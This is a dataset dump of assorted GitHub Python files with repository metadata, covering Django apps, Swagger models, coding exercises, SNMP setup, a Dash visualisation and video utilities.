425bddbdd429969023d4fdd888c1097c5b7142ee | 1b30b1d8f8f0903052ae65af48daed3866ee7fde | /swagger_client/models/tpo_data_dt_os_controller_parameters_lab_request_parameter.py | 7e8d05bce4bbbf2abe8ce6ef8425e0b464eceba5 | [] | no_license | my-workforce/TMB-SDK | 206ff87242c13abdfd8fecbeda25b0499550f42b | bea9e8dd82240c30f7809b052a4a612202d4e607 | refs/heads/main | 2023-03-31T18:11:01.735690 | 2021-03-31T13:00:49 | 2021-03-31T13:00:49 | 353,358,046 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,648 | py | # coding: utf-8
"""
Transaction Management Bus (TMB) API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: V3.2.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re ... | [
"fodeh@i3hub.com"
] | fodeh@i3hub.com |
516ddce9995ee16a9c3d14b282864b36283da25f | 0805420ce1890c36aa9e0cc1a782945464433ef6 | /client/eve/common/lib/eveLocalization/__init__.py | a26d9acf4f873ae1332caf2913e0b18ee75e8119 | [] | no_license | cnrat/dec-eve-serenity | 4ebc3b2ab8faa6e6714dbb72b7ebcf92c4b2d75c | 37519e66a5fbb0d7c417d5cf9778636991efbed8 | refs/heads/master | 2021-01-21T03:39:48.969227 | 2016-08-10T05:25:07 | 2016-08-10T05:25:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 211 | py | # Python bytecode 2.7 (decompiled from Python 2.7)
# Embedded file name: e:\jenkins\workspace\client_SERENITY\branches\release\SERENITY\eve\common\lib\eveLocalization\__init__.py
from _evelocalization import * | [
"victorique.de.blois@asu.edu"
] | victorique.de.blois@asu.edu |
85349b427bd1ddd389ed5a26358d73ea6ac2bbe1 | 535f2c4632a0c228b4de75f796c9ecead38a1981 | /post/migrations/0006_rename_action_post_active.py | 8257b6648e8c419ea54d9ab401d8069c2e16b207 | [] | no_license | XavierLarrea/django-multi-language-blog | d0b54a16a34604c8d4fe65c7472d32dc05a6df1d | af9f53a439d979aeddeb316a55f132c8efb32631 | refs/heads/main | 2023-07-15T20:04:44.388310 | 2021-08-24T23:33:33 | 2021-08-24T23:33:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 355 | py | # Generated by Django 3.2.4 on 2021-06-23 09:05
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('post', '0005_alter_post_slug'),
]
operations = [
migrations.RenameField(
model_name='post',
old_name='action',
n... | [
"mohamedemad1891@gmail.com"
] | mohamedemad1891@gmail.com |
3122c5bca375e6b689e28626fa6ed0dc01866f47 | cc0433023de4c8300770e5a645e204781c299a90 | /models.py | 53abe067a7c5887ebfb4cd0ab84d8fbc6555edb8 | [] | no_license | ahmedsalimnuhu/Risk-preferences-python-codes | 5e47783db09de415ffa64c546d33a864567ad169 | eee933ffffc30d8770bd8e47874fbb35be395d54 | refs/heads/master | 2022-11-27T22:05:13.524564 | 2020-08-07T17:20:30 | 2020-08-07T17:20:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,792 | py | from otree.api import (
models, widgets, BaseConstants, BaseSubsession, BaseGroup, BasePlayer
#Currency as c, currency_range
)
from risk.config import *
import random
from random import randrange
author = 'Salim Nuhu'
doc = """
Certainty equivalent method as proposed by Cohen et al. (1987) and Ab... | [
"noreply@github.com"
] | ahmedsalimnuhu.noreply@github.com |
31c8a9268102ced0ab5dc34591ab3b96c09dec85 | 9b2150c5d7b71fd67bb4267e8fe93ac98658df77 | /jsWriteFile.py | f791f3d4034c34c767c9f11c330e8c12db368239 | [] | no_license | rupkumar1996/STL-Code | 10afb1e7835e64c56354dc6f47f1b1b282fe9647 | 22236443df305ef9c4868ed363b49b91376600fc | refs/heads/master | 2021-02-09T15:52:26.290467 | 2020-03-02T06:58:28 | 2020-03-02T06:58:28 | 244,299,690 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,671 | py |
import xlrd
from string import Template
import os
import shutil
def jsWriter(folder_name):
if os.path.exists(folder_name +'/js'):
shutil.rmtree(folder_name +'/js')
shutil.copytree(os.getcwd() + '/js', folder_name+'/js')
with open(folder_name+'/js/externalFile.js', "a") as fp:
wb = ... | [
"ayushi.agarwal@walmartlabs.com"
] | ayushi.agarwal@walmartlabs.com |
f832bcd4c625f055315cb9acc7cff3c3d1d5f3f1 | adffea7027bdd1c5733b3bd9361c2d32942cddbb | /blog/urls.py | e47c165886ad0490f944da1a9b8e6364db9b83a5 | [] | no_license | OnlyAdel/adel_portfolio | a1cd83f9195bb1f430fe4f2bc8ea65b7b0e49bd2 | 1ebfbf6ce3719bba303da5fab557e756b2d3a4e3 | refs/heads/main | 2023-05-05T12:50:47.819869 | 2021-05-19T13:45:04 | 2021-05-19T13:45:04 | 368,840,896 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 193 | py | from django.urls import path
from . import views
app_name = 'blog'
urlpatterns = [
path('', views.all_blogs, name='all_blogs'),
path('<int:blog_id>/', views.detail, name='detail'),
]
| [
"m.adel.kadi@pm.me"
] | m.adel.kadi@pm.me |
db704e6bc73086f4b513638afc26cfca69671862 | 4618c0152d45bcb5f54e298661a1479c643353f4 | /pyengine/api/v1/GetProductDetail.py | d47126c2ec1ccde23882d215ccd30c526680ccaf | [] | no_license | pyengine/catalog | 07312fb7606f6ff0b7e55359740af4a4e5d509f4 | 2403563c1f93d988466a12b870ce25475b0d1d92 | refs/heads/master | 2021-01-10T04:47:24.200088 | 2016-04-13T15:04:47 | 2016-04-13T15:04:47 | 55,772,134 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 454 | py | from pyengine.lib.error import *
from pyengine.lib.command import Command
class GetProductDetail(Command):
# Request Parameter Info
req_params = {
'uuid': ('r', 'str'),
}
def __init__(self, api_request):
super(self.__class__, self).__init__(api_request)
def execute(self):
... | [
"choonho.son@gmail.com"
] | choonho.son@gmail.com |
177f201e1b4fa621de91bd02b007ad83469d8818 | 1225f52c16125f0f5c0ef1766b5aa24d47c6e908 | /crm/contacts/admin.py | 25b45e4e6ae88539a3fc42f8f66739dde74bb131 | [] | no_license | Edvoy/cw_crm | 4853eef48dd62645896c5f95603d9bd9e847b69a | c4449327a00b871f2275176c9ffe547dd60668ec | refs/heads/main | 2023-05-02T06:34:01.245856 | 2021-05-27T11:52:35 | 2021-05-27T11:52:35 | 366,396,092 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 350 | py | from django.contrib import admin
from .models import Contact
class ContactAdmin(admin.ModelAdmin):
fields = [
'contact_first_name',
'contact_last_name',
'contact_company',
'contact_job',
'contact_email',
'contact_phone',
'contact_notes',
]
admin.site.r... | [
"edouard.voyer@gmail.com"
] | edouard.voyer@gmail.com |
ab267947be157efba29c3961874240e4fe1525e0 | fa60536fbc7c0d8a2a8f08f0a5b6351c77d08054 | /3]. Competitive Programming/03]. HackerRank/1]. Practice/12]. 10 Days of Statistics/Day_6.py | e41bfd0b077838b4959c81b40f61a88e9381c66c | [
"MIT"
] | permissive | poojitha2002/The-Complete-FAANG-Preparation | 15cad1f9fb0371d15acc0fb541a79593e0605c4c | 7910c846252d3f1a66f92af3b7d9fb9ad1f86999 | refs/heads/master | 2023-07-17T20:24:19.161348 | 2021-08-28T11:39:48 | 2021-08-28T11:39:48 | 400,784,346 | 5 | 2 | MIT | 2021-08-28T12:14:35 | 2021-08-28T12:14:34 | null | UTF-8 | Python | false | false | 762 | py | # 1st Solution------------------------------------------------
import math as m
x, n, m, s = int(input()),int(input()), int(input()),int(input())
m1 = n*m
s1 = m.sqrt(n)*s
def cdf(x, m, s):
z = (x-m)/s
return 0.5*(1 + m.erf(z/(m.sqrt(2))))
print(round(cdf(x, m1, s1), 4))
# 2nd Solution---------------------... | [
"akashsingh27101998@gmai.com"
] | akashsingh27101998@gmai.com |
d7aab49e18b51fe7d949878d6cb8b8ceb6f8d356 | 9f6b4712faf640cb7cea29581db466fadd7d8323 | /final/general.py | 6c42ecac78ddc4cb6e499fa53973072b69f44b83 | [] | no_license | daniidega/proyecto_computacionGrafica | 63d0975809de953643c03b030dbb72ca3ae2c86c | cf7fede2de3ff04c607ebffc0fbe89a9be71c0c9 | refs/heads/master | 2021-01-12T08:29:19.043186 | 2016-12-16T00:23:16 | 2016-12-16T00:23:16 | 76,595,709 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 114 | py | import pygame
ANCHO=800
ALTO=500
BLANCO=(255,255,255)
NEGRO=(0,0,0)
ROJO=(255,0,0)
VERDE=(0,255,0)
AZUL=(0,0,255) | [
"danii.75@utp.edu.co"
] | danii.75@utp.edu.co |
fefbb2d228c834bce7c47910a3f7c291471595d6 | 1533bc7d9fad75236e9baffb1da9df3af66d2b06 | /dactyl/cli.py | 57d0c7c615f7ceb3192b2e32627f6730e9116a25 | [
"MIT"
] | permissive | MarcelRaschke/dactyl | e3533c04cc4493f91a3aa523cb745ab27781e2d4 | c93a6e455ec904685b7992c52967401f5559d7d2 | refs/heads/master | 2023-04-07T10:51:22.547757 | 2019-10-18T04:51:57 | 2019-10-18T04:51:57 | 234,778,195 | 1 | 1 | MIT | 2023-04-03T23:39:18 | 2020-01-18T18:26:22 | null | UTF-8 | Python | false | false | 6,481 | py | #!/usr/bin/env python3
from dactyl.common import *
import argparse
class DactylCLIParser:
UTIL_BUILD = "Generate static site from markdown and templates."
UTIL_LINKS = "Check files in this repository for broken links."
UTIL_STYLE = "Check content files for style issues."
def __init__(self, utility):
... | [
"mduo13@gmail.com"
] | mduo13@gmail.com |
1f8eb3d5d29c1b02e07895acc3f612ee67858941 | 51f887286aa3bd2c3dbe4c616ad306ce08976441 | /pybind/slxos/v17s_1_02/routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/__init__.py | 0eecc2d4add5bb3dd32255bc3b601767a6121cd0 | [
"Apache-2.0"
] | permissive | b2220333/pybind | a8c06460fd66a97a78c243bf144488eb88d7732a | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | refs/heads/master | 2020-03-18T09:09:29.574226 | 2018-04-03T20:09:50 | 2018-04-03T20:09:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,516 | py |
from operator import attrgetter
import pyangbind.lib.xpathhelper as xpathhelper
from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType
from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType
from pyangbind.lib.base import PybindBase
from d... | [
"badaniya@brocade.com"
] | badaniya@brocade.com |
fbc9661d70e561d78342cfa587b4a738aa00e9e6 | c85ec43e50f81f8e20c883eae9e06a5c8c621f8e | /caldera/utils/__init__.py | b2967128d628a732cece629c50a123db23a166f8 | [
"MIT"
] | permissive | jvrana/caldera | b6cc0faed560df6bfa15a3f460fed4ea18b8a55a | a346324e77f20739e00a82f97530dda4906f59dd | refs/heads/master | 2023-04-27T04:19:05.499430 | 2021-03-09T16:37:50 | 2021-03-09T16:37:50 | 266,161,720 | 0 | 0 | MIT | 2020-08-12T01:40:48 | 2020-05-22T16:49:35 | Jupyter Notebook | UTF-8 | Python | false | false | 1,795 | py | r"""
Caldera utility functions.
.. autosummary::
:toctree: generated/
dict_join
# pairwise
Indexing
--------
.. autosummary::
:toctree: generated/
reindex_tensor
unravel_index
Tensor
------
Utilities for :class:`torch.Tensor`
.. autosummary::
:toctree: generated/
scatter_coo
... | [
"justin.vrana@gmail.com"
] | justin.vrana@gmail.com |
7b45ab15120fc12e379631a88aafbb6bba143f47 | 23ef5cb5eed3b2768c8e26208eeb0b8922c743bf | /dossier/models/__init__.py | 9492dae9aeb53ab1a4aefe837408c830de986c5d | [
"MIT"
] | permissive | anukat2015/dossier.models | 3c66396dd09e6f5a618b199d674340e23769c342 | c9e282f690eab72963926329efe1600709e48b13 | refs/heads/master | 2021-01-21T10:45:33.881681 | 2015-10-08T18:38:35 | 2015-10-08T18:38:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 706 | py | '''
.. This software is released under an MIT/X11 open source license.
Copyright 2012-2014 Diffeo, Inc.
``dossier.models`` provides search engines and a :mod:`dossier.web`
application for working with active learning.
.. automodule:: dossier.models.web.run
.. automodule:: dossier.models.pairwise
.. automodule:: do... | [
"andrew@diffeo.com"
] | andrew@diffeo.com |
b82d9de712eba7a44376cc047eef206300213664 | 87ba02d5ebf91cbc0fadd50ca44196177b3c86b7 | /modules/performRegionalEventSimulation/regionalWindField/ComputeIntensityMeasure.py | bfd018d5c1b3bef55b8a59205c29082604f7389b | [] | no_license | joannajzou/SimCenterBackendApplications | 4cd6ff9ec856ab634bbf97ff4e67a336cacfba5b | 5f040fcbe0b7a2080918ce3f7f07ca6e2ae51b16 | refs/heads/master | 2021-06-23T18:19:04.498654 | 2021-03-17T13:41:08 | 2021-03-17T13:41:08 | 202,189,745 | 0 | 0 | null | 2021-03-17T13:41:09 | 2019-08-13T17:07:43 | Python | UTF-8 | Python | false | false | 15,936 | py | # -*- coding: utf-8 -*-
#
# Copyright (c) 2018 Leland Stanford Junior University
# Copyright (c) 2018 The Regents of the University of California
#
# This file is part of the SimCenter Backend Applications
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that... | [
"kuanshi@stanford.edu"
] | kuanshi@stanford.edu |
a99f13ede01d669f9d08ea0b81d5060a90e06750 | 686a962bc2c9527e0fb63f6f9bc659fcf3568bf6 | /rest/models.py | 9458344863e529089463a4c8c0509725b08f3559 | [] | no_license | mourasis/webservice | 572c62608e53846f0160aae567da1595631202b1 | 3a7d67239a30e753bf89d09394f96442ccbfd1ad | refs/heads/master | 2020-06-23T03:57:20.300943 | 2019-07-23T20:52:48 | 2019-07-23T20:52:48 | 198,503,495 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 236 | py | from django.db import models
class Livro(models.Model):
titulo = models.CharField(max_length=200)
autor = models.CharField(max_length=200)
volume = models.IntegerField()
def __str__(self):
return self.titulo
| [
"root@moura.local"
] | root@moura.local |
c564381b8a3786274c292ddc6a57ed24ad1e6895 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03681/s311284212.py | d8b25fb6e7dd6d5384882806daa8e1c440d5c178 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 298 | py | n, m = map(int, input().split())
mod = 10 ** 9 + 7
if abs(n - m) >= 2:
print(0)
else:
res = 1
for i in range(1, n+1):
res = res * i % mod
for i in range(1, m+1):
res = res * i % mod
if abs(n - m) == 1:
print(res)
else:
print(res * 2 % mod) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
237eac4b7ec61fc9f01809d041c1a345f7a690ea | 47cb331a4ad7eee2a352e65ea197f3d0dbce7bb4 | /configuratie_visualisatie_firewalls_webapp/run.py | 4f40948d8f8c12e01cc00a3ce7074deff728b884 | [] | no_license | Bakkerino/firewall_configuration_tool | d0694d5c9e44d7819b0f449c6ecb34bd34083395 | 0ea5326b36b4dca430f6fc00e68015e2a43855ba | refs/heads/master | 2022-12-04T06:33:38.107245 | 2020-08-20T10:07:25 | 2020-08-20T10:07:25 | 261,829,028 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 86 | py | from cvf import app
if __name__ == "__main__":
app.run(debug=app.config["DEBUG"]) | [
"k.m.bakker@st.hanze.nl"
] | k.m.bakker@st.hanze.nl |
0ad8cf2793f9f48f35cd1dc144cabb7c55a3dbd8 | 28e06d5e6e31940d85777b5081aa8d1a7e61adc9 | /Parking_Lot/Parking_Lot/celery.py | 36a648b702d13ee62f3661dc71234819754ca882 | [] | no_license | saurav004/ParkingLot | 24316a82ccb710e0145f86483c247e200d30bfbb | 72ceb109f20060c7a8af15cb407e09db8598c858 | refs/heads/master | 2023-02-13T09:38:52.834470 | 2021-01-09T07:36:19 | 2021-01-09T07:36:19 | 323,919,157 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 719 | py | from __future__ import absolute_import, unicode_literals
import os
from celery import Celery
# set the default Django settings module for the 'celery' program.
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'Parking_Lot.settings')
app = Celery('Parking_Lot')
# Using a string here means the worker doesn't have to ... | [
"logtosaurav@gmail.com"
] | logtosaurav@gmail.com |
dd0c5db76215bf755e43da64fa6e3ece88b1a20a | d17f6409d93f1ee84e14fe962ecc2782464ca551 | /rango/admin.py | 86ff6ace6614c0790724e50e2bf735ce76ecbe50 | [] | no_license | lewisponsonby/tango_with_django_project | 4e55864954bc31f5dda5240ba8234e645781a08e | 77ca3d91a8eb5bf1843b414e09210b02d369431a | refs/heads/main | 2023-03-04T23:41:41.208674 | 2021-02-11T00:27:31 | 2021-02-11T00:27:31 | 329,949,922 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 391 | py | from django.contrib import admin
from rango.models import Category, Page
from rango.models import UserProfile
class PageAdmin(admin.ModelAdmin):
list_display=("title","category","url")
class CategoryAdmin(admin.ModelAdmin):
prepopulated_fields = {"slug":("name",)}
admin.site.register(Category, CategoryAdmin)... | [
"2464980P@student.gla.ac.uk"
] | 2464980P@student.gla.ac.uk |
0a5af99dfde92508bd7713c364ddabefec4bc691 | 4bd4bec81c5dcf634b21902204b1d1da4fc49dc9 | /Python/EXOS/snmpv1v2configpy/SNMPv1v2Config.py | 960fead3dcdb9aecffeb1963c0862da24af1041e | [
"BSD-2-Clause"
] | permissive | mhelmEXTR/ExtremeScripting | d7b2b095151bbd670f67140c01a6004b78e8388f | fd8554748dfb4b408965d9a3e1a977c6a86842e2 | refs/heads/master | 2021-07-07T17:27:07.330072 | 2021-04-29T16:43:32 | 2021-04-29T16:43:32 | 45,707,060 | 0 | 0 | null | 2015-11-06T20:55:50 | 2015-11-06T20:55:49 | null | UTF-8 | Python | false | false | 3,293 | py | #!/usr/bin/env python
'''
Wizard to configure SNMP
'''
#############################################################################
# SNMP v1/v2 Variable definitions
#############################################################################
#clierrormode = raw_input("If this script encounters errors, do you wish ... | [
"stewilliams@extremenetworks.com"
] | stewilliams@extremenetworks.com |
c44a19da41a435781f04041a1e7bd5b9d3219591 | b11b38a667a69969d268634e2c3de9f1b624823b | /tren.py | c2915fce05587062083416208d30bb2aa4d2d6b6 | [] | no_license | minc84/learn | e68013e51fe846d0d41831e70cf3694154a152a8 | 22882b24b24ba386b0baf84055e08894c8a77053 | refs/heads/master | 2023-03-19T23:18:26.010374 | 2021-01-13T13:44:46 | 2021-01-13T13:44:46 | 278,613,516 | 0 | 0 | null | 2021-03-20T04:41:50 | 2020-07-10T11:10:07 | Python | UTF-8 | Python | false | false | 441 | py | import sqlite3 as sq
with sq.connect("saper.db") as con:
cur = con.cursor()
cur.execute(" select * from users where old > 20 AND score < 40 ORDER BY old DESC LIMIT 1")
res = cur.fetchall()
for value in cur.execute(" select name, score from users WHERE name LIKE 'ВАСИЛИСА'"):
print(value)
cur.execute("select ... | [
"nesterovish@yandex.ru"
] | nesterovish@yandex.ru |
c4f671e9a75ffab245e4527cf3a74964ce8ebeb3 | 76b8e0895f81f021a3578ce9ac23d4b87cf5aeb4 | /base/__init__.py | d7744914dda88bac878d220517b8d117b93f89a7 | [] | no_license | kilomeow/pick-a-bot | ec0d4934866fc7a9a7afd46053524da93574a78d | 56566022b5ad5966a4183baf188e3ca259f2aba3 | refs/heads/master | 2023-04-07T14:00:28.270458 | 2021-04-19T06:56:57 | 2021-04-19T06:56:57 | 258,882,010 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 114 | py | from .session import *
from .trigger import *
from .action import *
from .context import *
from .promise import *
| [
"dest@disr.it"
] | dest@disr.it |
9107cd52b4f5cb29c06fa7c3b10e07dbb89fe3a2 | e230e3c1d6935d36b7074390f096d782cabd75af | /dailyfresh/settings.py | 520e1cbe63fe0018a6d3e7702bc98f883808c38e | [] | no_license | PeterZhangxing/dailyfresh_ori | 603e7e42457d27ffefb6a4601f9b6826a3a55a6f | 19b6d667d6f49a528aeb6f4430e2537c933936f0 | refs/heads/master | 2020-12-02T01:41:32.160278 | 2019-12-30T04:24:50 | 2019-12-30T04:24:50 | 230,846,590 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,607 | py | """
Django settings for dailyfresh project.
Generated by 'django-admin startproject' using Django 2.0.4.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""
import os... | [
"964725349@qq.com"
] | 964725349@qq.com |
bea5e52fc879f85fba8493bf6a11bf65648c44ee | 05f3f5537ef401946118b07ab0161bcce04cb3a4 | /main_page/migrations/0004_auto_20210716_0019.py | 4a723f5cbd4b740ccc1a0cfcd85a88ae8752f501 | [] | no_license | abhishekotari21/IAFpedia | 73f8a96ac55d385be98d5b16ea0685428495eb02 | d2fa096da86ca7ba976fae2242bcf7d362e0f3c5 | refs/heads/master | 2023-07-08T09:25:15.408635 | 2021-08-07T17:48:04 | 2021-08-07T17:48:04 | 384,144,297 | 0 | 0 | null | 2021-07-09T10:40:44 | 2021-07-08T14:04:06 | HTML | UTF-8 | Python | false | false | 333 | py | # Generated by Django 3.1.4 on 2021-07-15 18:49
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('main_page', '0003_hisevent'),
]
operations = [
migrations.RenameModel(
old_name='HisEvent',
new_name='HistoricalEvent',
... | [
"omkar3602@gmail.com"
] | omkar3602@gmail.com |
8c1931de214702eae66c4588ab24ad31368fbe5f | 6295b232fe750e4d49c40e093af3925b3ae14769 | /max_stack_da.py | b3d5491a3be268ed75ae92c34cbe810fb77eb10f | [] | no_license | palaquibay329/QueueStackDynamicArrayfromStaticArray | 426e38a5d2257d4543c85a9450299ac3bcb0842a | f6178051d7d28b23ba4baff68b0f3e4a0177fc5a | refs/heads/master | 2023-08-22T03:51:35.704585 | 2021-10-17T03:53:47 | 2021-10-17T03:53:47 | 418,012,565 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,829 | py | # Course: CS261 - Data Structures
# Student Name: Edgar Palaquibay
# Assignment: 2
# Description: This script is a max stack implementation using dynamic arrays. The newly implemented
# methods are push(), pop(), top(), get_max().
from dynamic_array import *
class StackException(Exception):
"""
Custom except... | [
"edgarpalaquibay@MacBook-Pro-2.fios-router.home"
] | edgarpalaquibay@MacBook-Pro-2.fios-router.home |
ea25f40064c0389cfee15171a0479f3f66af28c1 | 84827140ca49fb71bccb79d7b6e19b2d2ae7ada4 | /profile_test.py | 5b32caf3420cb9502fad2b7ec6dca9f49035969e | [
"BSD-2-Clause"
] | permissive | CyclingNinja/sunkit-sst | df312fc51440689885fedc29a5e48f749f9e8445 | 3abb8676eb0f6e6881abf8159777bb1ee3d30e01 | refs/heads/master | 2021-01-14T13:38:47.648658 | 2015-01-30T14:09:38 | 2015-01-30T14:09:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,115 | py | from __future__ import absolute_import, division
from sunkitsst.sstmap import get_header_item_group, SSTMap
import sunpy.map as smap
from sunkitsst.read_cubes import read_cubes
from sunkitsst.visualisation import cube_explorer
import numpy as np
import matplotlib.pyplot as plt
import glob
plt.ion()
smap.Map.register(S... | [
"nabil.freij@gmail.com"
] | nabil.freij@gmail.com |
8aba048efabe65a374ecb7ea6a348edc52b17054 | bc33dcd135f6682a70d9423a9d30108640bfd1c7 | /Python Snippets/helpers/file.py | ccd799a93dca7a2c66b0f8b1b153040df1d4da18 | [
"MIT"
] | permissive | wolfnfox/Code-Snippets | 3bc95e3d8692396f649a89a61f456c75d7d46738 | 993cb2b273d538bdeb76ff3a39fa41a92a6282de | refs/heads/master | 2020-06-23T10:18:35.044448 | 2019-10-08T10:15:20 | 2019-10-08T10:15:20 | 198,594,562 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,049 | py | import logging, os, shutil
import numpy as np
from typing import Union
def append_all_text(text: str,filename: str,encoding: str=r'utf-8') -> bool:
if not isinstance(text,str):
raise ValueError('Invalid argument for <text>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(text)))
if not isinstance(... | [
"thomasf@cleardata.co.uk"
] | thomasf@cleardata.co.uk |
c36b8f1787c7aa2a5b3eacac7ad71daf101b0922 | 1d4f3a96f1c89ed617a6106f64dc66ece645abc7 | /data_structure/tree/isBST.py | 6bd337db7e3e0f2b1cd36cceedf4d540ddf3559b | [] | no_license | RahulBhoir/Python-Projects | 8f85504aa4a09ae8778d4a6775eed4e831b43c98 | ae59dc49f2a6a52c3eb391e412a677f8d08e3ce3 | refs/heads/master | 2021-07-24T12:28:32.202481 | 2021-06-30T10:42:06 | 2021-06-30T10:42:06 | 170,374,879 | 1 | 0 | null | 2020-12-20T17:43:16 | 2019-02-12T19:07:12 | Python | UTF-8 | Python | false | false | 716 | py | root = None
max_value = 100000
min_value = -100000
class Node():
def __init__(self, data):
self.data = data
self.left = None
self.right = None
def isBST(root, min_value, max_value):
if root is None:
return True
if (root.data < max_value and root.data > min_value and
... | [
"rahulpbhoir@outlook.com"
] | rahulpbhoir@outlook.com |
273b8c7282b3d2ecbeda4d37b4950bdf457546e9 | c2a9dc489f924e8d96ae3b9df83f4bb189adb563 | /assignments/10AlternaCaracteres/src/exercise.py | 43ea541b1b3bb4e8478d0155b1b1a75da9ad89aa | [] | no_license | Cursoi-TC1028/Examen-Parcial | a018a80c6e9050cc91e0dfc8ad4334ac379d7e37 | 69ca6414f5c6b50312645a5f4eef370235aca49e | refs/heads/main | 2023-07-24T10:31:44.733594 | 2021-09-09T04:20:01 | 2021-09-09T04:20:01 | 404,479,991 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 257 | py | def main():
#escribe tu código abajo de esta línea
n = int(input())
cont = 1
while (cont <= n) :
if cont % 2 != 0:
print("#")
else :
print("%")
cont += 1
if __name__=='__main__':
main()
| [
"69440193+mannyRam24-Mter@users.noreply.github.com"
] | 69440193+mannyRam24-Mter@users.noreply.github.com |
8a778a834551e872b7c730e425b78c860d4a6eaa | 71854d518b0513b4e09e82cf38dbd3dd2d6f44f8 | /apptesting.py | 47374d83ae4d8da99289699f0fd06818497c2077 | [] | no_license | hcxie/linkedin-datavisual-app-testing | 5d0fc613f50bb26ef09fa4ce5f63d06299a0c813 | e08ae54348f65967b53d781e007a6e13697016fd | refs/heads/master | 2020-05-19T22:36:21.201983 | 2019-05-06T22:39:50 | 2019-05-06T22:39:50 | 185,249,789 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,478 | py | import dash
import dash_core_components as dcc
import dash_html_components as html
import pandas as pd
from dash.dependencies import Input, Output
import plotly.graph_objs as go
external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']
app = dash.Dash(__name__, external_stylesheets=external_stylesheets)
... | [
"jbdx6307@gmail.com"
] | jbdx6307@gmail.com |
0f40308406e38359eb00bd87c471b5f1ff5f6778 | 0fba89a7703d883231decbb5b748d4df22832e6a | /recipe_scrapers/_decorators.py | 87fb968ea2b97ba5373f8906f7b9acf4f19879ef | [
"MIT"
] | permissive | tobiaghiraldini/recipe-scrapers | c66f1fb448f6e696677ec95d43a595be8470e890 | 1ced80d25dcc6e88877c26187990f112f3134e67 | refs/heads/master | 2022-07-04T20:31:07.114353 | 2020-05-20T10:42:26 | 2020-05-20T10:42:26 | 262,996,294 | 0 | 0 | MIT | 2020-05-11T09:23:45 | 2020-05-11T09:23:45 | null | UTF-8 | Python | false | false | 1,895 | py | import functools
from language_tags import tags
from ._schemaorg import SchemaOrgException
class Decorators:
@staticmethod
def schema_org_priority(decorated):
"""
Use SchemaOrg parser with priority (if there's data in it)
On exception raised - continue by default.
If there's ... | [
"hhursev@gmail.com"
] | hhursev@gmail.com |
b3a0f7392ad91b35f21b7aaa9a6aeac03fdbf6f0 | 9457a7eb9c1d64e203d85b45b3337f06768f28af | /python/OV1Info/app/classes.py | d93f55ea6d4ed1526b1150dbe808cea822cb83ee | [] | no_license | acclub/apps | 1173a7295714086a34f3896ec54025b2eab34290 | f86e5a56e6908823256133cba83590a31a7fe19c | refs/heads/master | 2021-01-10T14:43:21.392018 | 2016-09-30T21:32:40 | 2016-09-30T21:32:40 | 47,973,886 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,719 | py | import ac
import math
import configparser
class Window:
# INITIALIZATION
def __init__(self, name="defaultAppWindow", title="", icon=True, width=100, height=100, scale=1, texture=""):
# local variables
self.name = name
self.title = title
self.width = width
self.height = height
... | [
"illvdg13@gmail.com"
] | illvdg13@gmail.com |
d9e5e750b84c63450d958537f59dbc8b3863f3b4 | 2194df5490666825d382e6e47bd33139b1faf0df | /vtools/videotoimage.py | ff6b9cb5e919adadbff64930f5eb8a56adafd551 | [] | no_license | aiporre/video_tools | a88a3134c6148bd384c71e846aeab49da6bfab8e | f955c22fc7259a4b45592f522bb80f0533e6093d | refs/heads/master | 2021-08-02T21:03:53.344844 | 2021-07-28T16:45:57 | 2021-07-28T16:45:57 | 213,970,927 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,568 | py | import cv2
import argparse
import os
from tqdm import tqdm
class VideoToImage(object):
def __init__(self, src=0, output_path = './', extension = '.jpg', prefix='frame_', padding=-1):
# Create a VideoCapture object
self.capture = cv2.VideoCapture(src)
self.output_path = output_path
... | [
"ariel.iporre.rivas@gmail.com"
